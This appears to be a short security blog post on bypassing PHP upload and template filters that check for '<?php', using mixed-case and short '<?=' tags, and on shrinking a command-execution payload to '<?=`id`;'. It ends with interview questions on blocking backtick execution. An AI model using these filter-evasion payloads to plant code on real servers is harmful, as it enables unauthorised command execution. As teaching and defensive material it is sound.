Simple bypass PHP

The common way of writing PHP is start with <? and ends with ?>

Example:

<?php phpinfo();?>

When attempting to upload file or modify templates, often it will check if the content starts with `<?php` tags

So what are the ways to bypass it?

Method 1

Use upper and lower case

<?pHp system('id');?>

Method 2

Replace the php starting tag with =

E.g.

<?= system('id');?>

PHP Reduction Challenge: Use 8 characters to run the id command

Origin Command

<?php system('id');?>  // 21 character

First reduction: PHP tags allow for being unclosed.

PHP has a feature where PHP tags are allowed to be unclosed. This means that you can use <?php without using ?>, and it won't affect the execution of the PHP code.

Utilizing this feature, we can reduce the previous code as follows.

<?php system('id'); // 19 character

Second reduction: PHP short tags.

In addition to the standard way of writing PHP tags, there are two other forms, also known as short tags.

<?= ?>

Utilizing this feature, we can reduce the previous code as follows.

<?= system('id'); // 17 character

Third reduction: Changing the method of executing the command.

Since our goal is to successfully execute the command, is there a method that can shorten the code for executing the command? For example, is there a function that is shorter than system?

PHP, being a large language, of course, has functions shorter than system that can also execute commands.

eval()
popen()
exec()
....

These are still not short enough. The shortest of all is the backticks ` `. PHP can execute commands using backticks.

system('id')  =>  `id`

Utilizing this feature, we can reduce the previous code as follows.

<?=`id`;

Interview Question

It is interesting to see how the backticks can excute shell commands, does backticks bind to system function or shell_exec function?

Will disable this 2 functions preventing backtick from executing? If not how do you prevent it?

Author

Ikonw